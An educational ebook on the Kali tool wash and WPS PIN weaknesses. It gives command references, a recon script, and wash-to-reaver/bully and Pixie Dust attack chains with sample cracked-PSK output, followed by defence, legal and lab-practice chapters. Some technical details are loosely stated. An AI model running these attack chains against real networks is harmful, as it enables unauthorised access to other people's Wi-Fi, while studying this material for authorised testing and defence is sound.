

WASH

The Definitive Guide

WPS Attack Surface Recon & Exploitation in Kali Linux

Written by

TANISH SAREEN

BCA – Cyber Security & Forensics

Edition	v1.0 (2025)
Category	Wireless Security / WPS Exploitation
Platform	Kali Linux 2023.x / 2024.x
License	Educational Use Only

DISCLAIMER: This ebook is intended solely for educational and authorised security research purposes. Using the techniques described against networks you do not own or have explicit written permission to test is illegal in most jurisdictions. The author accepts no liability for misuse.

TABLE OF CONTENTS

01 Introduction to wash

- › What is wash?
- › History & origin
- › Role in Kali Linux

02 Wi-Fi Protected Setup (WPS) Deep Dive

- › WPS design & modes
- › The WPS PIN vulnerability
- › Why WPS is broken by design

03 Installing & Updating wash

- › Pre-installed on Kali
- › Manual installation
- › Compiling from source

04 wash Architecture & Internals

- › How wash scans networks
- › Packet-level analysis
- › The Wash process flow

05 wash Command Reference

- › Full flag reference
- › Common option combinations
- › Output formats

06 Practical Usage – Step-by-Step

- › Setting up monitor mode
- › Running your first scan
- › Reading & interpreting output

07 Advanced Techniques

- › Targeted scanning
- › Filtering & channel hopping
- › Combining with reaver & bully

08 Output Analysis & Reporting

- › Understanding every field
- › Locked vs unlocked WPS
- › Exporting results

09 Integrating wash in Pentest Workflows

- › Automated recon scripts
- › Using with aircrack-ng suite
- › OSCP-style engagement flow

10 Countermeasures & Defence

- › Disabling WPS safely
- › Detecting wash scans
- › Hardening wireless networks

11 Troubleshooting & FAQs

- › Common errors & fixes
- › Driver/chipset issues
- › No networks found

12 Legal & Ethical Framework

- › Laws by jurisdiction
- › Responsible disclosure
- › Bug bounty scope

13 Conclusion & Further Learning

- › Summary
- › Recommended resources
- › Next steps

CHAPTER 01

Introduction to wash

What is wash?

wash is a command-line utility bundled within the **Reaver** package that ships with Kali Linux. It is specifically engineered to scan the wireless spectrum and enumerate all nearby 802.11 access points that have Wi-Fi Protected Setup (WPS) enabled. Unlike broader wireless scanners such as airodump-ng, wash is laser-focused – it answers one critical question: *which routers in range are susceptible to WPS-based attacks?*

The tool listens on a monitor-mode wireless interface, parses beacon frames and probe responses, and extracts WPS Information Elements (IEs) to report the WPS state, version, and lock status of every detected network. This output feeds directly into attack tools such as Reaver and Bully, making wash the reconnaissance cornerstone of every WPS-based penetration test.

History & Origin

wash was created as a companion tool to **Reaver**, which was originally developed by Craig Heffner at Tactical Network Solutions in 2011. The need for a dedicated WPS scanner became apparent when Heffner published his groundbreaking research revealing a design flaw in the WPS PIN authentication protocol. Rather than embedding enumeration into the attack tool itself, a standalone scanner was more practical for large-scale recon.

The codebase migrated to community maintenance under the **reaver-wps-fork-t6x** project on GitHub around 2013, when the original repository became inactive. This fork introduced numerous improvements – better WPS lock detection, extended protocol support, and stability fixes for modern driver stacks. Today wash is a first-class citizen in every major penetration testing distribution.

Role in Kali Linux

Kali Linux positions wash under the **Wireless Attacks** category in its tool menu. It is installed by default as part of the *reaver* package and lives at `/usr/bin/wash`. The tool integrates seamlessly with the broader Kali wireless toolkit – leveraging airmon-ng for monitor mode, iw/iwconfig for interface management, and outputting data that can be piped directly into reaver or bully for exploitation.

[*] KEY POINT – Passive Reconnaissance

wash is PASSIVE during a scan. It only listens to broadcast beacon frames – it does not send any deauthentication packets, probe requests, or association frames unless explicitly combined with an active attack tool. This makes it relatively stealthy for recon.

CHAPTER 02

Wi-Fi Protected Setup (WPS) Deep Dive

WPS Design & Modes

Wi-Fi Protected Setup was ratified by the Wi-Fi Alliance in 2006 and published as IEEE 802.11 amendment functionality. Its sole purpose was to simplify the process of connecting devices to a secured wireless network – removing the barrier of typing long WPA2 passphrases. WPS provides four configuration modes:

Mode	Abbreviation	Description	Security Level
PIN Method	WPS-PIN	8-digit PIN exchanged between enrollee and registrar	BROKEN
Push-Button	WPS-PBC	Physical button on router + client pressed within 2 min	Medium
Near Field Comm	WPS-NFC	NFC tag or device touch for credential exchange	Medium
USB Method	WPS-USB	Credentials delivered via USB flash drive	Deprecated

The WPS PIN Vulnerability

The PIN method is the attack surface wash targets. The WPS PIN is an 8-digit number, giving a theoretical keyspace of $10^8 = 100,000,000$ combinations. However, Stefan Viehböck and Craig Heffner independently discovered in 2011 that the protocol validates the PIN in two halves – the first four digits and the last four digits – with the 8th digit being a checksum. This reduces the effective keyspace to:

\$ WPS PIN Vulnerability Analysis

```
# WPS PIN effective keyspace calculation
```

```
First 4 digits :  $10^4 = 10,000$  combinations
```

```
Last 3 digits :  $10^3 = 1,000$  combinations (8th digit = checksum)
```

```
Total effective :  $10,000 + 1,000 = 11,000$  combinations
```

```
# Brute-force time @ ~1 attempt/sec (typical):
```

```
Worst case: ~3.1 hours
```

```
Average : ~1.5 hours
```

```
[!] Compared to WPA2 passphrase brute-force: MILLIONS of years
```

```
[!] This is why WPS PIN is considered COMPLETELY BROKEN
```

Why WPS Is Broken by Design

The fundamental issue is not an implementation bug – it is a protocol-level design flaw. The WPS specification mandates that the access point provide a different EAP-NACK message depending on whether the first or second half of the PIN is correct. This split-response mechanism was intended for debugging but inadvertently created an oracle that allows an attacker to perform a two-stage

brute force.

Many vendors responded by adding WPS lockout mechanisms (WPS lock) after a configurable number of failed attempts – typically 5 to 10. wash specifically detects and reports this lock state, allowing a penetration tester to identify which targets are protected by lockouts and which remain fully vulnerable. Some routers, particularly older models, have no lockout at all.

[!] CVE REFERENCE

CVE-2011-5053 (Viehböck) & CVE-2011-5054 (Heffner) – Both researchers received acknowledgment for independently discovering the same WPS PIN split-authentication flaw. The Wi-Fi Alliance has since revised WPS guidance but the spec itself was never patched.

CHAPTER 03

Installing & Updating wash

Pre-installed on Kali Linux

On all current Kali Linux releases (2020.1 and later), wash ships as part of the default wireless tools meta-package. You can verify its presence and version immediately after booting a fresh Kali installation:

```
$ Verify wash installation
$ which wash
/usr/bin/wash

$ wash --version
Wash 1.6.5 (reaver-wps-fork-t6x)

$ dpkg -l | grep reaver
ii reaver 1.6.5-3 amd64 Brute force attack tool against Wifi Protected Setup
```

Installing / Updating via APT

```
$ APT Package Manager
# Update package lists first
$ sudo apt update

# Install reaver (includes wash)
$ sudo apt install reaver -y

# Upgrade to latest version
$ sudo apt upgrade reaver -y

# Verify after install
$ wash -h
```

Compiling wash from Source

For the absolute latest commits, or to build on non-Kali Debian/Ubuntu systems, compiling from the community GitHub fork is straightforward:

```
$ Compile from source
# Install build dependencies
$ sudo apt install build-essential libpcap-dev libssl-dev -y

# Clone the repository
$ git clone https://github.com/t6x/reaver-wps-fork-t6x.git
$ cd reaver-wps-fork-t6x/src

# Configure and compile
$ ./configure
$ make
$ sudo make install

# Confirm binary location
$ which wash
/usr/local/bin/wash
```

CHAPTER 04

wash Architecture & Internals

How wash Scans Networks

At its core, wash leverages the **libpcap** library to open a raw socket on a monitor-mode wireless interface. Monitor mode (also called RFMON – Radio Frequency MONitor) allows the network interface card to capture all 802.11 frames in its vicinity, not just those addressed to it. This is fundamentally different from promiscuous mode in wired networks – it captures at the physical/MAC layer.

wash applies a BPF (Berkeley Packet Filter) to capture only management frames – specifically beacon frames (type 0, subtype 8) and probe response frames (type 0, subtype 5). It then parses the tagged parameters section of each frame, hunting for WPS Information Elements identified by vendor-specific tag 0xDD with the WFA OUI (00:50:F2) and type 0x04.

Packet-Level Analysis

When a WPS Information Element is found, wash extracts the following WPS attributes from the Type-Length-Value (TLV) encoded data within the IE:

TLV Type	Attribute Name	Purpose	Size
0x104A	Version	WPS version (1.0 / 2.0)	1 byte
0x1044	WPS State	Configured / Unconfigured	1 byte
0x103B	Response Type	Enrollee / Registrar role	1 byte
0x1057	AP Setup Locked	WPS lock status (0x00/0x01)	1 byte
0x1011	Device Name	Human-readable AP name	variable
0x1021	Manufacturer	Device manufacturer string	variable
0x1023	Model Name	Model identifier	variable
0x1024	Model Number	Model number string	variable
0x103C	RF Bands	2.4 GHz / 5 GHz support	1 byte

The wash Process Flow

\$ Internal scan workflow**[*] wash Process Flow**

1. Open monitor-mode interface (e.g. wlan0mon)
2. Set BPF filter: 'type mgt subtype beacon or subtype probe-resp'
3. Begin packet capture loop via pcap_loop()
4. For each captured frame:
 - a. Parse 802.11 header → extract BSSID, channel, SSID, signal
 - b. Walk tagged parameters → look for tag 0xDD + WFA OUI 00:50:F2:04
 - c. If WPS IE found → parse TLV fields
 - d. Record: BSSID, ESSID, RSSI, channel, WPS ver, lock state
5. Maintain deduplicated table of discovered APs
6. Refresh display / write to output file
7. Hop channel every N seconds if --channel not fixed

wash Command Reference

Syntax

```
$ wash -- Full Syntax
wash [options]

Required:
  -i <iface>   Wireless interface in monitor mode

Optional:
  -C           Ignore frame checksum errors
  -s           Scan in survey mode (continuous)
  -u           Update only – refresh known networks
  -c <channel> Lock scan to specific channel (1-14)
  -o <file>    Save output to file
  -n           Do NOT display networks with no WPS
  -5           Scan 5 GHz band (requires dual-band card)
  -j           Output as JSON
  -h           Show help and exit
  -v           Verbose mode (show raw packets)
  -D           Debug mode (maximum verbosity)
  -f <file>    Read from pcap capture file
```

Full Flag Reference

Flag	Long Form	Description	Example
-i	--interface	Wireless interface (required). Must be in monitor mode.	-i wlan0mon
-C	--ignore-fcs	Ignore Frame Check Sequence errors. Useful for noisy environments.	-C
-s	--survey	Continuously scan; don't stop after first pass.	-s
-c	--channel	Fix scan to a single 2.4 GHz channel (1-13) or 5 GHz channel.	-c 6
-5	--5ghz	Enable 5 GHz scanning. Requires dual-band monitor-mode card.	-5
-o	--out-file	Write discovered networks to a text file.	-o scan.txt
-n	--wpsnone	Show only WPS-enabled APs; filter out non-WPS networks.	-n
-j	--json	Output results in JSON format for script integration.	-j
-f	--file	Process an existing pcap file rather than live capture.	-f cap.pcap
-D	--daemonize	Run wash as a background daemon process.	-D
-v	--verbose	Increase verbosity (use -vv for debug-level output).	-v
-h	--help	Display help message and exit.	-h

Common Option Combinations

```
$ Common wash command combinations
# Basic scan – the most common usage
$ sudo wash -i wlan0mon

# Ignore FCS errors (recommended in busy environments)
$ sudo wash -i wlan0mon -C

# Lock to channel 6, save output
$ sudo wash -i wlan0mon -c 6 -o ch6_results.txt

# Only show WPS-enabled networks, JSON output
$ sudo wash -i wlan0mon -n -j | tee wps_targets.json

# Scan 5 GHz band
$ sudo wash -i wlan0mon -5

# Full verbose scan with FCS ignore
$ sudo wash -i wlan0mon -C -s -vv

# Offline analysis from pcap
$ sudo wash -f captured_traffic.pcap
```

CHAPTER 06

Practical Usage – Step-by-Step

Step 1 – Identify Your Wireless Interface

```
$ Identify wireless interface
$ ip link show
1: lo: <LOOPBACK> ...
2: eth0: <BROADCAST,MULTICAST> ...
3: wlan0: <BROADCAST,MULTICAST> state DOWN ...
    link/ether aa:bb:cc:dd:ee:ff brd ff:ff:ff:ff:ff:ff

# Or use iwconfig
$ iwconfig
wlan0      IEEE 802.11  ESSID:off/any  Mode:Managed
           Frequency:2.437 GHz  Tx-Power=20 dBm
```

Step 2 – Enable Monitor Mode

Monitor mode is mandatory for wash. There are two ways to enable it – using **airmon-ng** (simplest) or using **iw** (manual, more control):

```
$ Enable monitor mode
# METHOD A: Using airmon-ng (recommended)
$ sudo airmon-ng check kill    # Kill interfering processes
$ sudo airmon-ng start wlan0  # Enable monitor mode

[*] Found NetworkManager process (PID 1234) – killed
[*] Found wpa_supplicant (PID 5678) – killed
[*] (mac80211 monitor mode vif enabled for wlan0 on wlan0mon)

# Verify
$ iwconfig wlan0mon
wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz

# METHOD B: Using iw (manual)
$ sudo ip link set wlan0 down
$ sudo iw wlan0 set monitor control
$ sudo ip link set wlan0 up
$ sudo iw wlan0 set channel 6
```

Step 3 – Run wash

```
$ Sample wash output
```

```
$ sudo wash -i wlan0mon -C
```

```

BSSID           Ch  dBm  WPS  Lck  Vendor    ESSID
-----
[+] AA:BB:CC:11:22:33  6  -62  1.0  No   Netgear    HomeNetwork
[+] DD:EE:FF:44:55:66 11  -78  2.0  Yes  TP-Link    Office_WiFi
[+] 11:22:33:AA:BB:CC  1  -55  1.0  No   Linksys    NETGEAR-2G
[WPS] 77:88:99:AB:CD:EF 6  -71  1.0  No   D-Link     dlink-home

```

Reading & Interpreting Output Fields

Field	Description	What to look for
BSSID	MAC address of the access point	Unique identifier – feed to reaver
Ch	802.11 channel (1-13 / 36-165)	Note channel for targeted attack
dBm	Received Signal Strength Indicator (RSSI)	Closer to 0 = stronger; -50 ideal
WPS	WPS version (1.0 or 2.0)	1.0 = older, more vulnerable
Lck	WPS lockout status (Yes / No)	No = potentially exploitable now
Vendor	Router manufacturer (from OUI data base)	Identifies model for research
ESSID	Network name (SSID)	Helps identify target in scope

[*] PRIORITISING TARGETS

The most valuable target is an AP with: WPS version 1.0, Lock = No, and strong signal (above -70 dBm). Version 2.0 introduced some additional protections but many implementations remain flawed. A locked WPS state means the router has detected too many failed attempts – wait ~60 seconds or move on.

CHAPTER 07

Advanced Techniques

Targeted Channel Scanning

By default wash hops across all available channels, which means some networks may only appear intermittently. If you already know the channel of a target – from a previous airodump-ng run – lock wash to that channel for consistent, high-quality data:

```
$ Targeted channel scanning
# Lock to channel 6 for consistent monitoring
$ sudo wash -i wlan0mon -c 6 -C -s

# For 5 GHz channel 36
$ sudo wash -i wlan0mon -5 -c 36

# For 5 GHz channel 149 (common in enterprise)
$ sudo wash -i wlan0mon -5 -c 149
```

Combining wash with Reaver

wash feeds directly into reaver. The BSSID from wash output is the primary input for a reaver attack. The -c (channel) flag from wash output should also be passed to reaver to avoid channel switching delays during the attack:

```
$ wash → reaver attack chain
# Step 1: Identify target with wash
$ sudo wash -i wlan0mon -C -n

[+] AA:BB:CC:11:22:33 6 -62 1.0 No Netgear TargetNetwork

# Step 2: Feed BSSID to reaver
$ sudo reaver -i wlan0mon -b AA:BB:CC:11:22:33 -c 6 -vv

[+] Waiting for beacon from AA:BB:CC:11:22:33
[+] Associated with AA:BB:CC:11:22:33 (ESSID: TargetNetwork)
[+] Trying pin 12345670
...
[+] WPS PIN: '87654321'
[+] WPA PSK: 'SuperSecretPassword123'
```

Combining wash with Bully

Bully is an alternative to reaver with better handling of WPS locked states and improved compatibility with certain router firmware versions. wash output feeds into bully identically:

```
$ wash → bully / pixie dust
# Bully attack using wash-identified target
$ sudo bully wlan0mon -b AA:BB:CC:11:22:33 -c 6 -d -v 3

# Bully with custom delay (helps avoid WPS locks)
$ sudo bully wlan0mon -b AA:BB:CC:11:22:33 -c 6 --timeout=10 --pixiewps

# Pixie Dust attack (offline WPS exploit, instant on vulnerable APs)
$ sudo reaver -i wlan0mon -b AA:BB:CC:11:22:33 -c 6 -K 1
```

Offline Analysis from pcap Files

You can capture raw 802.11 traffic with airodump-ng or tcpdump, save it as a pcap, and analyse it offline with wash. This is useful for stealth – you capture everything in the field and analyse back at base:

```
$ Offline pcap analysis
# Capture 802.11 management frames with airodump-ng
$ sudo airodump-ng wlan0mon -w capture --output-format pcap

# Analyse offline with wash
$ wash -f capture-01.pcap

# Or tcpdump capture then analyse
$ sudo tcpdump -i wlan0mon -w rawcap.pcap
$ wash -f rawcap.pcap
```

CHAPTER 08

Output Analysis & Reporting

Full Output Sample & Field Breakdown

```
$ wash output example
```

```
BSSID           Ch  dBm  WPS  Lck  Vendor  ESSID
-----
AA:BB:CC:11:22:33 6  -55  1.0  No   Netgear  HomeNet_2G
DD:EE:FF:44:55:66 11 -78  2.0  Yes  TP-Link  Office_5G
11:22:33:AA:BB:CC 1  -88  1.0  No   Unknown  DIRECT-xx-HP
44:55:66:DD:EE:FF 6  -61  1.0  No   Linksys  xfinitywifi
77:88:99:AB:CD:EF 36 -67  2.0  No   ASUS     ASUS_Home_5G
```

Locked vs Unlocked WPS States

Lck Status	Meaning	Action
No	WPS PIN brute force active; no lock detected	Proceed with reaver/bully
Yes	Router has locked WPS after failed attempts	Wait ~5 min or try pixiewps
N/A	AP responded but no lock field in IE	May still be exploitable – test

Exporting Results for Reporting

```
$ Export and filter results
```

```
# Save to file (plain text)
```

```
$ sudo wash -i wlan0mon -C -o /tmp/wps_scan.txt
```

```
# JSON output (for integration with scripts / tools)
```

```
$ sudo wash -i wlan0mon -n -j > wps_targets.json
```

```
# Filter only unlocked WPS-1.0 targets from JSON
```

```
$ cat wps_targets.json | python3 -c "
```

```
import json,sys
```

```
data = json.load(sys.stdin)
```

```
targets = [x for x in data if x['wps_version']=='1.0' and x['locked']==False]
```

```
for t in targets: print(t['bssid'], t['essid'])"
```

```
[+] AA:BB:CC:11:22:33  HomeNet_2G
```

```
[+] 44:55:66:DD:EE:FF  xfinitywifi
```

CHAPTER 09

Integrating wash in Pentest Workflows

Automated Recon Script

The following bash script automates the full WPS recon phase – enabling monitor mode, running wash, parsing results, and outputting a prioritised target list:

```
$ wps_recon.sh
#!/bin/bash
# wps_recon.sh – Automated WPS target discovery
# Author: Tanish Sareen

IFACE=${1:-wlan0}
MON_IFACE="${IFACE}mon"
OUTPUT="/tmp/wps_scan_$(date +%Y%m%d_%H%M%S)"

echo '[*] Killing interfering processes...'
sudo airmon-ng check kill > /dev/null 2>&1

echo '[*] Enabling monitor mode...'
sudo airmon-ng start $IFACE > /dev/null 2>&1

echo '[*] Starting wash scan (30 seconds)...'
sudo timeout 30 wash -i $MON_IFACE -C -n -o ${OUTPUT}.txt

echo '[+] Scan complete. Results:'
cat ${OUTPUT}.txt

echo '[*] Restoring managed mode...'
sudo airmon-ng stop $MON_IFACE > /dev/null 2>&1
sudo service NetworkManager restart
```

Typical OSCP-Style Wireless Engagement Flow

\$ OSCP-style wireless pentest flow**PHASE 1 – SCOPE & PREPARATION**

- [*] Obtain written authorisation for target networks
- [*] Note all in-scope BSSIDs / SSIDs
- [*] Verify chipset supports monitor mode (Alfa AWUS036ACH recommended)

PHASE 2 – PASSIVE RECON (wash)

- [*] `sudo airmon-ng start wlan0`
- [*] `sudo wash -i wlan0mon -C -s -o recon.txt`
- [*] Identify WPS-enabled, unlocked, in-scope targets

PHASE 3 – ACTIVE EXPLOITATION (reaver / bully)

- [*] `sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv`
- [*] OR: `sudo bully wlan0mon -b <BSSID> -c <CH> -d`
- [*] Try Pixie Dust first: `reaver ... -K 1`

PHASE 4 – POST-EXPLOITATION

- [*] Use recovered WPA PSK to join network
- [*] Perform internal network enumeration
- [*] Document all findings with timestamps

PHASE 5 – REPORTING

- [*] Include wash output as evidence
- [*] Map CVEs (CVE-2011-5053, CVE-2011-5054)
- [*] Provide remediation steps

CHAPTER 10

Countermeasures & Defence

Disabling WPS

The single most effective countermeasure is to completely disable WPS on your router. The exact steps vary by manufacturer, but the general process is universal:

```
$ Disabling WPS on your router
# Generic router WPS disable procedure:

1. Connect to router admin panel:
   http://192.168.1.1 OR http://192.168.0.1

2. Navigate to: Wireless Settings > WPS
   (Some routers: Advanced > Wi-Fi > WPS Configuration)

3. Set WPS to: DISABLED

4. Save and reboot router

5. Verify with wash – your BSSID should no longer appear:
   $ sudo wash -i wlan0mon -C
   # Your network should NOT appear in output
```

Detecting wash Scans

Because wash is passive (reads beacon frames), it does NOT appear in your router's connection logs. However, a Wireless Intrusion Detection System (WIDS) or WIPS (Prevention System) can detect the channel hopping patterns and MAC address patterns characteristic of a wash scan:

Defence Mechanism	Effectiveness	Notes
Disable WPS completely	Very High	Best option – eliminates attack surface entirely
WPS lockout policy	Medium	Rate-limits brute force; doesn't prevent Pixie Dust
WIDS/WIPS deployment	High	Kismet, Snort wireless rules, or commercial WIPS
Router firmware update	High	May patch WPS implementation flaws
Network segmentation	Medium	Limits impact if WPS is cracked
Strong WPA3 migration	Very High	WPA3 is immune to WPS PIN attacks

Hardening Your Wireless Network

- Upgrade to WPA3 where all client devices support it; use WPA2-AES as a minimum.

- Use a long (20+ character), random WPA2 passphrase – even if WPS is cracked, a strong PSK adds resistance.
- Enable client isolation to prevent lateral movement within the wireless network.
- Regularly audit your AP's admin panel for unexpected settings changes.
- Deploy a Raspberry Pi running Kismet as a passive WIDS sensor on your network.
- Change default router admin credentials immediately – many WPS exploits are supplemented by admin panel access.
- Consider MAC address filtering as a secondary layer (not foolproof – MACs can be spoofed).

CHAPTER 11

Troubleshooting & FAQs

[!] TROUBLESHOOTING

ERROR: wash: command not found

FIX: reaver package not installed. Fix: `sudo apt install reaver -y`

[!] TROUBLESHOOTING

ERROR: error: could not open interface wlan0 for scanning

FIX: Interface not in monitor mode. Fix: `sudo airmon-ng start wlan0`

[!] TROUBLESHOOTING

ERROR: No networks found / empty output

FIX: Wrong channel range, or card doesn't support monitor mode for your region.

Try: `wash -i wlan0mon -C -5` for 5GHz, or use `iw list` to check supported bands.

[!] TROUBLESHOOTING

ERROR: `ioctl(SIOCGIFFLAGS)` failed: No such device

FIX: Monitor interface name incorrect. Check: `iwconfig` to see actual interface name (may be `wlan0mon` or `wlp2s0mon`).

[!] TROUBLESHOOTING

ERROR: Segmentation fault

FIX: Driver incompatibility. Update kernel: `sudo apt upgrade && sudo apt dist-upgrade`, then reinstall wireless drivers.

[!] TROUBLESHOOTING

ERROR: All networks show Lck: Yes

FIX: You or someone else may have been scanning/attacking recently. WPS lockouts reset after ~5-10 minutes.

[!] TROUBLESHOOTING

ERROR: Missing Vendor / Unknown vendor field

FIX: OUI database not updated. Fix: `sudo airodump-ng --update`

[!] TROUBLESHOOTING

ERROR: wash freezes / stops updating

FIX: Packet buffer overflow. Try adding `-C` flag and ensure no other tools are using the interface.

Recommended Chipsets for wash

Chipset	Adapter	Monitor Mode	Packet Injection	5 GHz
Atheros AR9271	Alfa AWUS036NHA	Yes	Yes	No
Ralink RT3070	Alfa AWUS036H	Yes	Yes	No
Realtek RTL8812AU	Alfa AWUS036ACH	Yes	Yes	Yes
Realtek RTL8814AU	Alfa AWUS1900	Yes	Yes	Yes

MediaTek MT7612U	Alfa AWUS036ACM	Yes	Yes	Yes
Intel AX200	Built-in (many)	Partial	Limited	Yes

CHAPTER 12

Legal & Ethical Framework

[!] LEGAL WARNING – READ CAREFULLY

CRITICAL LEGAL WARNING: Using wash or any wireless attack tool against networks you do not own or do not have EXPLICIT WRITTEN PERMISSION to test is a criminal offence in virtually every country. Ignorance of ownership is NOT a defence. Always obtain written authorisation BEFORE conducting any wireless security assessment.

Relevant Laws by Jurisdiction

Jurisdiction	Relevant Law	Key Provision
United States	Computer Fraud & Abuse Act (CFAA)	18 U.S.C. §1030 – unauthorised access to computers/networks
United Kingdom	Computer Misuse Act 1990	Section 1: unauthorised access to computer material
European Union	Directive 2013/40/EU	Criminalises attacks against information systems
India	Information Technology Act 2008	Section 66 – computer related offences
Australia	Criminal Code Act 1995	Part 10.7 – computer offences
Canada	Criminal Code Section 342.1	Unauthorised use of computer

Ethical Use Guidelines

- Always obtain a signed Rules of Engagement (RoE) document before any wireless assessment.
- Scope must explicitly include wireless networks. 'General network pentest' does NOT cover wireless.
- Never test from public areas where collateral scanning of third-party networks is possible.
- Use a dedicated test lab (travel router in a Faraday-shielded environment) for learning wash.
- Document everything – time, interface, targets, findings – maintain a pentest journal.
- For responsible disclosure: report WPS vulnerabilities to vendors and give 90 days before publishing.
- When in doubt: DO NOT TEST. The legal costs of an unintentional violation far outweigh any benefit.

Safe Practice Environments

The safest and most legal way to practice wash and wireless attack techniques is in a dedicated lab environment. Recommended setups include:

\$ Legal practice environments

Option 1: Physical test lab

- Travel router (TP-Link TL-WR802N) configured with WPS enabled
- Isolated from your main network via separate VLAN or air gap
- Faraday bag/box to contain RF signals

Option 2: Virtual lab

- Kali Linux VM with USB Wi-Fi adapter passed through
- Hostapd softAP on a second interface as target

Option 3: Online ranges

- HackTheBox – Wireless challenges
- TryHackMe – Wireless security rooms
- PentesterLab – Wi-Fi modules

CHAPTER 13

Conclusion & Further Learning

Summary

wash is a deceptively simple yet remarkably powerful tool. Its sole function – scanning for WPS-enabled access points – makes it the indispensable first step in any wireless security assessment. Understanding wash at a deep level means understanding the WPS protocol itself: its design, its catastrophic PIN validation flaw, and the lock mechanisms vendors bolted on as afterthoughts.

Throughout this ebook we have covered wash from first principles – its history, internals, every command-line flag, practical usage workflows, integration with reaver and bully, output interpretation, pentest workflows, defence strategies, and the critical legal framework that governs its use. You now have both the technical knowledge to deploy wash effectively in authorised engagements and the ethical grounding to do so responsibly.

Recommended Further Learning

Resource	Type	URL / Reference
Reaver GitHub (t6x fork)	Tool	github.com/t6x/reaver-wps-fork-t6x
Viehböck WPS Paper (2011)	Research	sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf
Aircrack-ng Documentation	Tool Docs	aircrack-ng.org/documentation.html
Wi-Fi Alliance WPS Spec	Spec	wi-fi.org/discover-wi-fi/wi-fi-protected-setup
HackTheBox – Wireless Challenges	Practice	hackthebox.com
TryHackMe – Wi-Fi Hacking Room	Practice	tryhackme.com/room/wifihacking101
Offsec OSWP Certification	Cert	offensive-security.com/wifu-oswp/
Kismet WIDS Documentation	Defence	kismetwireless.net

Next Steps for Your Learning Path

- Set up a wireless test lab with a cheap travel router – practice everything in this book hands-on.
- Study the WPA3 specification to understand how modern protocols address WPS-era weaknesses.
- Learn packet analysis with Wireshark – capture WPS exchanges and trace the PIN validation logic.
- Pursue the Offensive Security Wireless Professional (OSWP) certification for formal recognition.
- Contribute to the reaver-wps-fork-t6x project on GitHub – read the source code, understand the implementation.

- Build your own tools – write a Python script that parses wash output and auto-generates pentest reports.

Thank you for reading.

TANISH SAREEN

BCA – Cyber Security & Forensics | 2025
